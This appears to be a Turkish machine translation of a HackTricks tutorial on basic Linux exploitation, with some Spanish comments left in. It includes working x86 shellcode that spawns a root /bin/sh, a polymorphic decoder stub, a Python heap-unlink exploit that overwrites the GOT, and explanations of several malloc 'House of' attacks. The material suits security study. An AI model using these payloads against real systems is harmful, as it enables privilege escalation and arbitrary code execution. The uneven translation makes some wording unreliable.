Linux Exploiting (Basic) (SPA)
{{#include ../../banners/hacktricks-training.md}}
2.SHELLCODE
Kernelle kesintileri göster: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; eax'i temizle
xor ebx, ebx ; ebx = 0 çünkü geçilecek argüman yok
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Syscall'ı çalıştır
nasm -f elf assembly.asm —> Bize bir .o döner
ld assembly.o -o shellcodeout —> Bize, assembly kodundan oluşan bir çalıştırılabilir dosya verir ve objdump ile opcode'ları alabiliriz
objdump -d -Mintel ./shellcodeout —> Gerçekten shellcode'umuz olduğunu görmek ve OpCodes almak için
Shellcode'un çalıştığını kontrol et
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Sistem çağrılarının doğru bir şekilde yapıldığını görmek için yukarıdaki program derlenmeli ve sistem çağrıları strace ./PROGRAMA_COMPILADO'da görünmelidir.
Shellcode oluştururken bir hile yapılabilir. İlk talimat bir çağrıya atlamadır. Çağrı, orijinal kodu çağırır ve ayrıca yığına EIP'yi ekler. Call talimatından sonra ihtiyaç duyduğumuz dizeyi ekledik, bu nedenle bu EIP ile dizeyi işaret edebiliriz ve ayrıca kodu çalıştırmaya devam edebiliriz.
EJ TRUCO (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
EJ stack kullanarak (/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Huter:
Bir sürecin bellek sayfalarını tarayan ve orada saklanan shellcode'u arayan küçük bir kod parçasından oluşur (shellcode'da yerleştirilmiş bir imza arar). Kod enjekte etmek için yalnızca küçük bir alanın bulunduğu durumlarda kullanışlıdır.
Shellcodes polimórficos
Şifrelenmiş shell'lerden oluşur ve bunları çözen ve ona atlayan küçük kodlar içerir, Call-Pop hilesini kullanarak bu bir cesar şifreleme örneği olur:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5.Tamamlayıcı Yöntemler
Murat Tekniği
Linux'ta tüm programlar 0xbfffffff adresinden başlayarak haritalanır.
Linux'ta yeni bir sürecin yığın yapısının nasıl oluşturulduğunu görmek, bir exploit geliştirmeyi sağlar; böylece program, yalnızca shellcode'un bulunduğu bir ortamda başlatılabilir. Bu durumda, adres şu şekilde hesaplanabilir: addr = 0xbfffffff - 4 - strlen(TAM_ADI) - strlen(shellcode)
Bu şekilde, shellcode ile çevre değişkeninin bulunduğu adres kolayca elde edilebilir.
Bu, execle fonksiyonunun yalnızca istenen çevre değişkenlerini içeren bir ortam oluşturmasına olanak tanıdığı için mümkündür.
Format Strings to Buffer Overflows
sprintf, biçimlendirilmiş bir dizeyi bir değişkene taşır. Bu nedenle, bir dize biçimlendirmesini kötüye kullanarak, içeriğin kopyalandığı değişkende bir tampon taşması oluşturabilirsiniz.
Örneğin, %.44xAAAA yükü 44B+"AAAA"yı değişkene yazacaktır, bu da bir tampon taşmasına neden olabilir.
__atexit Yapıları
Caution
Günümüzde bunu istismar etmek çok garip.
atexit(), diğer fonksiyonların parametre olarak geçirildiği bir fonksiyondur. Bu fonksiyonlar, exit() veya main'in dönüşü sırasında çalıştırılacaktır.
Eğer bu fonksiyonlardan herhangi birinin adresini shellcode'a işaret edecek şekilde değiştirebilirseniz, sürecin kontrolünü ele geçireceksiniz, ancak bu şu anda daha karmaşık.
Şu anda, çalıştırılacak fonksiyonların adresleri birkaç yapı arkasında gizlidir ve nihayetinde işaret ettikleri adresler, fonksiyonların adresleri değil, XOR ile şifrelenmiş ve rastgele bir anahtar ile kaydırılmıştır. Bu nedenle, şu anda bu saldırı vektörü en azından x86 ve x64_86 üzerinde çok kullanışlı değildir.
Şifreleme fonksiyonu PTR_MANGLE'dir. m68k, mips32, mips64, aarch64, arm, hppa gibi diğer mimariler şifreleme fonksiyonunu uygulamaz çünkü bu fonksiyon girdi olarak aldığı ile aynı değeri döndürür. Bu nedenle, bu mimariler bu vektörle saldırıya uğrayabilir.
setjmp() & longjmp()
Caution
Günümüzde bunu istismar etmek çok garip.
setjmp(), bağlamı (kayıtları) kaydetmeye olanak tanır.
longjmp(), bağlamı geri yüklemeye olanak tanır.
Kaydedilen kayıtlar: EBX, ESI, EDI, ESP, EIP, EBP
Olan şey, EIP ve ESP'nin PTR_MANGLE fonksiyonu tarafından geçildiğidir, bu nedenle bu saldırıya karşı savunmasız mimariler yukarıdakilerle aynıdır.
Hata kurtarma veya kesintiler için kullanışlıdır.
Ancak, okuduğum kadarıyla, diğer kayıtlar korunmamıştır, bu nedenle eğer çağrılan fonksiyon içinde call ebx, call esi veya call edi varsa, kontrol ele geçirilebilir. Ya da EBP'yi değiştirerek ESP'yi de değiştirebilirsiniz.
C++'da VTable ve VPTR
Her sınıfın bir Vtable'ı vardır; bu, metotlara işaret eden bir dizidir.
Her sınıf nesnesinin bir VPtr'ı vardır; bu, sınıfının dizisine işaret eden bir işaretçidir. VPtr, her nesnenin başlığının bir parçasıdır, bu nedenle bir VPtr'ın aşırı yazılması sağlanırsa, bir sahte metoda işaret edecek şekilde değiştirilebilir, böylece bir fonksiyon çalıştırıldığında shellcode'a yönlendirilir.
Önleyici Tedbirler ve Kaçışlar
Libsafe Değiştirme
Şu şekilde etkinleştirilir: LD_PRELOAD=/lib/libsafe.so.2
veya
“/lib/libsave.so.2” > /etc/ld.so.preload
Güvensiz bazı fonksiyon çağrıları, güvenli olanlarla değiştirilir. Standart değildir. (sadece x86 için, -fomit-frame-pointer ile derlenmiş sürümler için değil, statik derlemeler için değil, tüm savunmasız fonksiyonlar güvenli hale gelmez ve LD_PRELOAD, suid ile olan ikili dosyalarda işe yaramaz).
ASCII Donanımlı Adres Alanı
0x00000000 ile 0x00ffffff arasında paylaşılan kütüphaneleri yüklemeyi içerir, böylece her zaman bir 0x00 baytı bulunur. Ancak, bu gerçekten neredeyse hiçbir saldırıyı durdurmaz, özellikle little endian'da.
ret2plt
strcpy@plt (plt'den) fonksiyonunu çağıracak şekilde bir ROP gerçekleştirmeyi ve GOT'taki girişe işaret etmeyi içerir ve çağrılmak istenen fonksiyonun ilk baytını (system()) kopyalar. Ardından, GOT+1'e işaret ederek system()'in 2. baytını kopyalar... Sonunda, system() olacak şekilde GOT'ta saklanan adres çağrılır.
chroot() ile Kafesler
debootstrap -arch=i386 hardy /home/user —> Belirli bir alt dizin altında temel bir sistem kurar.
Bir yönetici, bu kafeslerden birinden çıkmak için: mkdir foo; chroot foo; cd .. komutunu kullanabilir.
Kod Enstrümantasyonu
Valgrind —> Hataları arar
Memcheck
RAD (Return Address Defender)
Insure++
8 Yığın Taşmaları: Temel Exploitler
Atanan Parça
prev_size |
size | —Başlık
*mem | Veriler
Boş Parça
prev_size |
size |
*fd | İleri parça işaretçisi
*bk | Geri parça işaretçisi —Başlık
*mem | Veriler
Boş parçalar çift bağlı bir listede (bin) bulunur ve asla yan yana iki boş parça olamaz (birleşirler).
“size” içinde, önceki parçanın kullanılıp kullanılmadığını, parçanın mmap() ile atanıp atanmadığını ve parçanın birincil arenaya ait olup olmadığını belirten bitler vardır.
Eğer bir parçayı serbest bırakırken, komşulardan biri boşsa, bunlar unlink() makrosu aracılığıyla birleştirilir ve yeni daha büyük parça frontlink()'e geçirilir, böylece uygun bin'e eklenir.
unlink(){
BK = P->bk; —> Yeni parçanın BK'si, daha önce boş olan parçanın BK'sidir.
FD = P->fd; —> Yeni parçanın FD'si, daha önce boş olan parçanın FD'sidir.
FD->bk = BK; —> Sonraki parçanın BK'si yeni parçaya işaret eder.
BK->fd = FD; —> Önceki parçanın FD'si yeni parçaya işaret eder.
}
Bu nedenle, eğer P->bk'yi bir shellcode adresi ile ve P->fd'yi GOT veya DTORS'taki bir girişin adresi ile 12 azaltarak değiştirebilirsek:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
Ve böylece programdan çıkarken shellcode çalıştırılır.
Ayrıca, unlink()'in 4. ifadesi bir şey yazar ve shellcode bunun için onarılmalıdır:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Bu, shellcode'un 8. baytından itibaren 4 bayt yazılmasına neden olur, bu nedenle shellcode'un ilk talimatı, bunu atlamak ve geri kalan shellcode'a yönlendiren bir jmp olmalıdır.
Bu nedenle exploit şu şekilde oluşturulur:
buffer1'e shellcode'u, nops veya geri kalan shellcode'a düşecek bir jmp ile başlarız.
Shellcode'dan sonra, bir önceki parçanın prev_size ve size alanına kadar dolgu ekleriz. Bu alanlara 0xfffffff0 (önceki parçanın boş olduğunu belirten bitin ayarlanması için) ve “-4“(0xfffffffc) ekleriz (3. parçanın 2. parçanın gerçekten boş olup olmadığını kontrol ettiğinde, değiştirilmiş prev_size'a gidecek ve boş olduğunu söyleyecektir) -> Böylece free() araştırdığında 3. parçanın boyutuna gidecek, ancak aslında 2. parçaya -4 gidecek ve 2. parçanın boş olduğunu düşünecektir. Ve ardından unlink() çağrılacaktır.
unlink() çağrıldığında, P->fd olarak 2. parçanın ilk verilerini kullanacak, bu nedenle oraya yazmak istediğiniz adresi -12 (çünkü FD->bk, saklanan adrese 12 ekleyecektir) yerleştirecektir. Ve o adrese, 2. parçadaki ikinci adresi yerleştirecektir, bu adresin shellcode'a (yanlış P->bk) işaret etmesini istiyoruz.
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bayt dolgu
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Önceki parçanın boş olduğunu belirten bitin 1 olması önemlidir.
fake_size = pack("<I”, 0xfffffffc) #-4, böylece 3. parçanın “size”'ının 4 bayt geride olduğunu düşünür (prev_size'a işaret eder) çünkü burada 2. parçanın boş olup olmadığını kontrol eder.
addr_sc = pack("<I", 0x0804a008 + 8) #Yükün başına 8 bayt dolgu ekleyeceğiz.
got_free = pack("<I", 0x08048300 - 12) #free() adresi plt'den -12 (shellcode'u çalıştırmak için 2. kez free() çağrıldığında yazılacak adres).
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Yük, 8 bayt dolgu ile başlar.
payload += prev_size + fake_size + got_free + addr_sc #2. parçayı değiştiriyoruz, got_free, adresi addr_sc + 12'ye kaydedeceğimiz yere işaret ediyor.
os.system("./8.3.o " + payload)
unset() tersine serbest bırakma (wargame)
Üç ardışık parçayı kontrol ediyoruz ve bunlar, ayrıldıkları sıranın tersine serbest bırakılıyor.
Bu durumda:
c parçasına shellcode yerleştiriliyor.
a parçasını, b parçasını öyle bir şekilde aşırı yazmak için kullanıyoruz ki, size alanında PREV_INUSE bitinin devre dışı bırakılması sağlanıyor, böylece a parçasının boş olduğunu düşünüyor.
Ayrıca, b parçasının başlığında size alanını -4 olacak şekilde aşırı yazıyoruz.
Böylece program, “a”nın boş olduğunu ve bir bin içinde olduğunu düşünecek, bu nedenle unlink() çağrısı yapacaktır. Ancak, PREV_SIZE başlığı -4 olduğundan, “a” parçasının aslında b+4'te başladığını düşünecektir. Yani, b+4'te bir unlink() yapacak, bu nedenle b+12'de “fd” işaretçisi ve b+16'da “bk” işaretçisi olacaktır.
Bu şekilde, bk'ye shellcode adresini ve fd'ye “puts()” fonksiyonunun adresini -12 yerleştirirsek, payload'ımızı elde ederiz.
Frontlink Tekniği
Bir şey serbest bırakıldığında ve komşu parçalar boş değilse frontlink çağrılır, unlink() çağrılmaz, doğrudan frontlink() çağrılır.
Serbest bırakılan malloc'un asla serbest bırakılmadığı durumlarda yararlıdır.
Gereksinimler:
- Giriş verileri ile taşma yapabilecek bir tampon
- Bu tampona bitişik bir tampon, serbest bırakılacak ve önceki tamponun taşması sayesinde başlığındaki fd alanı değiştirilecektir.
- Boyutu 512'den büyük ama önceki tampondan küçük bir tampon
- Bu adımdan önce tanımlanmış bir tampon, bu tamponun prev_size'ını aşırı yazmaya izin verecektir.
Bu şekilde, iki malloc'ta kontrolsüz bir şekilde ve birinde kontrol altında aşırı yazma yaparak bir exploit oluşturabiliriz.
double free() Açığı
Aynı işaretçi ile free() iki kez çağrılırsa, iki bin aynı adrese işaret eder.
Birini yeniden kullanmak isterseniz, sorun olmadan atanır. Diğerini kullanmak isterseniz, aynı alan atanır, bu nedenle “fd” ve “bk” işaretçileri, önceki rezervasyonun yazacağı verilerle yanıltılır.
free() Sonrası
Daha önce serbest bırakılmış bir işaretçi, kontrolsüz bir şekilde yeniden kullanılır.
8 Yığın Taşmaları: Gelişmiş Exploitler
Unlink() ve FrontLink() teknikleri, unlink() fonksiyonu değiştirilerek kaldırıldı.
The house of mind
Arbitrary kodun yürütülmesini sağlamak için yalnızca bir free() çağrısı gereklidir. Önceki bir parçanın taşmasıyla serbest bırakılacak ikinci bir parça aramak önemlidir.
Bir free() çağrısı, public_fREe(mem) çağrısını tetikler, bu da:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mem); —> Parçanın başladığı adrese işaret eden bir işaretçi döndürür (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
[1] içinde, size alanını kontrol eder, NON_MAIN_ARENA bitini, bu bitin true döndürülmesi için değiştirilebilir ve heap_for_ptr()'u çalıştırır; bu, “mem” üzerinde bir and işlemi yaparak en az önemli 2.5 baytı 0 yapar (bu durumda 0x0804a000'dan 0x08000000'a düşer) ve 0x08000000->ar_ptr'a erişir (sanki bir heap_info yapısıymış gibi).
Bu şekilde, örneğin 0x0804a000'da bir parçayı kontrol edebilirsek ve 0x081002a0 adresinde bir parça serbest bırakılacaksa, 0x08100000 adresine ulaşabilir ve istediğimiz şeyi yazabiliriz, örneğin 0x0804a000. Bu ikinci parça serbest bırakıldığında, heap_for_ptr(ptr)->ar_ptr'ın 0x08100000'da yazdığımızı döndüreceğini buluruz (çünkü önceki and işlemi 0x081002a0'a uygulanır ve buradan ilk 4 baytın değeri, ar_ptr alınır).
Bu şekilde, _int_free(ar_ptr, mem) çağrılır, yani _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Daha önce gördüğümüz gibi, av değerini kontrol edebiliriz, çünkü serbest bırakılacak parçada yazdığımız şeydir.
Unsorted_chunks tanımına göre, şunu biliyoruz:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Bu nedenle, av->bins[2]'ye __DTOR_END__-12 değerini yazarsak, son talimat __DTOR_END__ adresine ikinci parçanın adresini yazacaktır.
Yani, ilk parçanın başına birçok kez __DTOR_END__-12 adresini koymalıyız, çünkü av->bins[2] oradan alacaktır.
İkinci parçanın adresine, son 5 sıfırla birlikte, bu ilk parçanın adresini yazmalıyız, böylece heap_for_ptr() ar_ptr'ın ilk parçanın başında olduğunu düşünür ve oradan av->bins[2]'yi alır.
İkinci parçada ve birincisinden yararlanarak, prev_size'ı 0x0c ile ve size'ı NON_MAIN_ARENA'yı etkinleştirecek bir şeyle aşırı yazıyoruz.
Ardından, 2. parçaya bir sürü nop koyuyoruz ve sonunda shellcode'u yerleştiriyoruz.
Bu şekilde, _int_free(TROZO1, TROZO2) çağrılacak ve talimatları izleyerek __DTOR_END__ adresine TROZO2'nin prev_size adresini yazacak, bu da shellcode'a atlayacaktır.
Bu tekniği uygulamak için, payload'u biraz daha karmaşıklaştıran bazı ek gereksinimlerin karşılanması gerekir.
Bu teknik artık uygulanamaz çünkü unlink için neredeyse aynı yamanın uygulandığı görüldü. Yeni işaret edilen yerin de kendisine işaret edip etmediği kontrol edilir.
Fastbin
The house of mind'ın bir varyantıdır.
Aşağıdaki kodu çalıştırmak için, _int_free() fonksiyonunun ilk kontrolünden geçmek önemlidir.
fb = &(av->fastbins[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
Bu şekilde, “fb”'ye bir GOT fonksiyonunun adresi yerleştirilirse, bu adrese aşırı yazılmış parçanın adresi yerleştirilecektir. Bunun için arenanın dtors adreslerine yakın olması gerekecektir. Daha kesin olarak, av->max_fast'in aşırı yazacağımız adreste olması gerekmektedir.
The House of Mind ile, av'nin konumunu kontrol edebildiğimizi gördük.
Bu nedenle, size alanına 8 + NON_MAIN_ARENA + PREV_INUSE yazarsak —> fastbin_index() fastbins[-1'i döndürecektir, bu da av->max_fast'e işaret edecektir.
Bu durumda av->max_fast, aşırı yazılacak adres olacaktır (işaret ettiği adres değil, o konum aşırı yazılacaktır).
Ayrıca, serbest bırakılan parçanın komşusunun 8'den büyük olması gerektiği de belirtilmelidir -> Daha önce serbest bırakılan parçanın boyutunun 8 olduğunu belirttiğimiz için, bu sahte parçanın yalnızca 8'den büyük bir boyuta sahip olması gerekir (ayrıca shellcode serbest bırakılan parçada olacağından, başta nops'a düşecek bir jmp koymamız gerekecektir).
Ayrıca, bu sahte parça av->system_mem'den küçük olmalıdır. av->system_mem, 1848 bayt daha ileridedir.
__DTOR_END_'in sıfırları ve GOT'taki az sayıda adres nedeniyle, bu bölümlerin hiçbiri aşırı yazılmak için uygun değildir, bu nedenle yığın saldırısı için fastbin'i nasıl uygulayacağımıza bakalım.
Başka bir saldırı yöntemi, av'yi yığına yönlendirmektir.
Boyutu 8 yerine 16 olacak şekilde değiştirirsek, fastbin_index() fastbins[0'ı döndürecektir ve bunu yığın üzerinde aşırı yazmak için kullanabiliriz.
Bunun için yığında hiçbir canary veya garip değer olmamalıdır, aslında şunları bulmalıyız: 4 bayt sıfır + EBP + RET
4 bayt sıfır, av'nin bu adreste olmasını sağlamak için gereklidir ve bir av'nin ilk öğesi, 0 olmalıdır.
av->max_fast, EBP olacaktır ve bu, kısıtlamaları atlamamız için bir değer olacaktır.
av->fastbins[0]'da p'nin adresi ile aşırı yazılacak ve RET olacaktır, böylece shellcode'a atlayacaktır.
Ayrıca, av->system_mem (yığın konumunun 1484 bayt yukarısında) yeterince çöp olacaktır, bu da kontrolü atlamamıza izin verecektir.
Ayrıca, serbest bırakılan parçanın komşusunun 8'den büyük olması gerektiği de belirtilmelidir -> Daha önce serbest bırakılan parçanın boyutunun 16 olduğunu belirttiğimiz için, bu sahte parçanın yalnızca 8'den büyük bir boyuta sahip olması gerekir (ayrıca shellcode serbest bırakılan parçada olacağından, başta nops'a düşecek bir jmp koymamız gerekecektir).
The House of Spirit
Bu durumda, saldırgan tarafından değiştirilebilen bir malloc işaretçisine sahip olmayı hedefliyoruz (örneğin, işaretçi bir değişkenin altında yığında olabilir).
Bu şekilde, bu işaretçiyi istediğimiz yere yönlendirebiliriz. Ancak, her yer geçerli değildir; sahte parçanın boyutu av->max_fast'ten küçük olmalı ve daha spesifik olarak, gelecekteki bir malloc() çağrısında istenen boyuta eşit olmalıdır. Bu nedenle, bu işaretçi savunmasız olduğunda malloc(40) çağrıldığında, sahte parçanın boyutu 48 olmalıdır.
Örneğin, program kullanıcıdan bir sayı isterse, 48 girebiliriz ve değiştirilebilir malloc işaretçisini sonraki 4 bayta (şans eseri EBP'ye ait olabilecek) yönlendirebiliriz, böylece 48 geride kalır, sanki başlık boyutuymuş gibi. Ayrıca, ptr-4+48 adresinin birkaç koşulu karşılaması gerekir (bu durumda ptr=EBP), yani, 8 < ptr-4+48 < av->system_mem.
Bu koşullar sağlanırsa, bir sonraki malloc çağrısı malloc(40) olduğunda, EBP adresine atanacaktır. Eğer saldırgan bu malloc'ta ne yazılacağını da kontrol edebilirse, hem EBP'yi hem de EIP'yi istediği adresle aşırı yazabilir.
Bunun nedeni, free() çağrıldığında, yığın üzerindeki EBP adresine işaret eden bir parçanın, yeni malloc() için mükemmel boyutta bir parça olduğunu kaydetmesidir, bu nedenle o adrese atanır.
The House of Force
Gereksinimler:
- Wilderness'a aşırı yazma yapacak bir taşma
- Kullanıcı tarafından tanımlanan boyutta bir malloc() çağrısı
- Kullanıcı tarafından tanımlanabilen verilerle bir malloc() çağrısı
İlk olarak, wilderness parçasının boyutunu çok büyük bir değerle (0xffffffff) aşırı yazıyoruz, böylece yeterince büyük herhangi bir bellek talebi, yığını genişletmeye gerek kalmadan _int_malloc() içinde işlenir.
İkincisi, av->top'un, saldırganın kontrolü altındaki bir bellek alanına işaret etmesini sağlamak, örneğin yığın. av->top'a &EIP - 8 yazılacaktır.
av->top'u, saldırganın kontrolü altındaki bellek alanına işaret edecek şekilde aşırı yazmalıyız:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim, mevcut wilderness parçasının adresinin değerini alır (mevcut av->top) ve remainder, o adresin üzerine malloc() tarafından talep edilen bayt sayısını ekler. Yani, &EIP-8 0xbffff224'te ve av->top 0x080c2788'de ise, kontrol edilen malloc'ta av->top'un $EIP-8'e işaret etmesi için ayırmamız gereken miktar:
0xbffff224 - 0x080c2788 = 3086207644.
Böylece av->top'a değiştirilmiş değer kaydedilecektir ve bir sonraki malloc, EIP'ye işaret edecek ve onu aşırı yazabilecektir.
Yeni wilderness parçasının boyutunun, son malloc() talebinden daha büyük olduğunu bilmek önemlidir. Yani, wilderness &EIP-8'e işaret ediyorsa, boyut tam olarak yığın üzerindeki EBP alanında kalacaktır.
The House of Lore
SmallBin Bozulması
Serbest bırakılan parçalar, boyutlarına göre bin'e yerleştirilir. Ancak, yerleştirilmeden önce unsorted bins'de saklanır. Bir parça serbest bırakıldığında, hemen bin'e yerleştirilmez, bunun yerine unsorted bins'de kalır. Ardından, yeni bir parça talep edildiğinde ve önceki serbest bırakılan parça ona hizmet edebiliyorsa, onu geri verir; ancak daha büyük bir parça talep edilirse, unsorted bins'deki serbest bırakılan parça uygun bin'ine yerleştirilir.
Zayıf kodu elde etmek için bellek talebinin av->max_fast'ten (genellikle 72) büyük ve MIN_LARGE_SIZE'dan (512) küçük olması gerekir.
Eğer bin'de talep edilen boyuta uygun bir parça varsa, serbest bırakıldıktan sonra o parça geri verilir:
bck = victim->bk; Önceki parçaya işaret eder, değiştirebileceğimiz tek bilgidir.
bin->bk = bck; Önceki parça son parça olur, eğer bck yığına işaret ediyorsa, bir sonraki rezervasyon bu adrese verilecektir.
bck->fd = bin; Listeyi kapatır, böylece bu bin'e işaret eder.
Gereksinimler:
- İki malloc rezervasyonu yapılması, böylece ilki, ikincisi serbest bırakıldıktan sonra taşma yapılabilir (yani, taşma yapılmadan önce ikinci parçadan daha büyük bir malloc rezervasyonu yapılmalıdır).
- Saldırgan tarafından kontrol edilen malloc rezervasyonu.
Amaç şudur: Eğer serbest bırakılmış bir yığın parçasına ve onun bin'ine taşma yapabiliyorsak, bk işaretçisini değiştirebiliriz. Eğer bk işaretçisini değiştirirsek ve bu parça listenin başı olursa ve yeniden rezervasyon yapılırsa, bin'e, bir sonraki parça (sunulacak olan) için sahte bir adres verildiği söylenir (yığın veya GOT gibi). Böylece, başka bir parça yeniden rezervasyon yapıldığında ve saldırganın buna erişimi varsa, istenen konumda bir parça verilecektir ve orada yazma işlemi yapılabilecektir.
Değiştirilen parçayı serbest bıraktıktan sonra, serbest bırakılan parçadan daha büyük bir parça rezervasyonu yapılması gerekir, böylece değiştirilen parça unsorted bins'den çıkar ve uygun bin'ine yerleştirilir.
Bir kez bin'ine yerleştirildiğinde, taşma ile bk işaretçisini değiştirmek için zamanı gelmiştir, böylece istediğimiz adrese işaret eder.
Bu nedenle, bin, yeterince malloc() çağrısı yapılana kadar beklemelidir, böylece değiştirilen bin yeniden kullanılır ve bin'e, bir sonraki parçanın sahte adreste olduğunu düşündürür. Ardından, ilgilendiğimiz parça verilecektir.
Zayıflığın mümkün olan en kısa sürede çalışması için ideal olan, zayıf parçanın rezervasyonu, değiştirilecek parçanın rezervasyonu, bu parçanın serbest bırakılması, daha büyük bir parça rezervasyonu yapılması, parçanın değiştirilmesi (zayıflık), zayıf parçayla aynı boyutta bir parça rezervasyonu yapılması ve bu ikinci parçanın istenen adrese işaret etmesidir.
Bu saldırıyı korumak için, parçanın “sahte” olmadığını kontrol eden tipik bir kontrol kullanılmıştır: bck->fd'nin victim'a işaret edip etmediği kontrol edilir. Yani, bizim durumumuzda, yığında işaret edilen sahte parçanın fd* işaretçisinin victim'a işaret edip etmediği kontrol edilir. Bu korumayı aşmak için, saldırganın bir şekilde (muhtemelen yığın üzerinden) uygun adrese victim adresini yazabilmesi gerekir. Böylece, gerçek bir parça gibi görünür.
LargeBin Bozulması
Önceki gereksinimlerin yanı sıra, rezervasyon yapılan parçaların boyutları 512'den büyük olmalıdır.
Saldırı, önceki gibi, bk işaretçisini değiştirmeyi gerektirir ve tüm bu malloc() çağrılarına ihtiyaç vardır, ancak ayrıca, değiştirilen parçanın boyutunu, bu boyut - nb < MINSIZE olacak şekilde değiştirmek gerekir.
Örneğin, boyutu 1552 olarak ayarlamak, 1552 - 1544 = 8 < MINSIZE olmasını sağlar (çıkarma işlemi negatif olmamalıdır çünkü unsigned bir değer karşılaştırılır).
Ayrıca, bunu daha da karmaşık hale getiren bir yamanın uygulandığı belirtilmiştir.
Heap Spraying
Temelde, mümkün olan tüm bellek alanını yığınlar için ayırmak ve bunları bir nop yastığı ile doldurmak ve ardından bir shellcode ile doldurmak anlamına gelir. Ayrıca, yastık olarak 0x0c kullanılır. Çünkü 0x0c0c0c0c adresine atlamaya çalışılacak ve bu nedenle, bu adrese yazılan herhangi bir işaretçi aşırı yazılırsa, oraya atlanacaktır. Temel olarak taktik, mümkün olduğunca fazla alan ayırmak ve herhangi bir işaretçiyi aşırı yazıp 0x0c0c0c0c adresine atlamaktır, umarak orada nops bulmaktır.
Heap Feng Shui
Belleği, rezervasyonlar ve serbest bırakmalar yoluyla, boş parçaların arasında rezervasyon yapılmış parçalar kalacak şekilde düzenlemeyi içerir. Taşma yapılacak tampon, bu parçalardan birinin içinde yer alacaktır.
objdump -d yürütülebilir —> Fonksiyonları disassemble eder
objdump -d ./PROGRAMA | grep FUNCION —> Fonksiyon adresini alır
objdump -d -Mintel ./shellcodeout —> Gerçekten shellcode olduğundan emin olmak ve OpCodes almak için
objdump -t ./exec | grep varBss —> Semboller tablosu, değişkenlerin ve fonksiyonların adreslerini almak için
objdump -TR ./exec | grep exit(func lib) —> Kütüphane fonksiyonlarının adreslerini almak için (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> GOT'ta aşırı yazılacak puts adresini alır
objdump -D ./exec —> Tümünü disassemble eder, plt girişlerine kadar
objdump -p -/exec
Info functions strncmp —> gdb'de fonksiyon bilgisi
İlginç Kurslar
Referanslar
{{#include ../../banners/hacktricks-training.md}}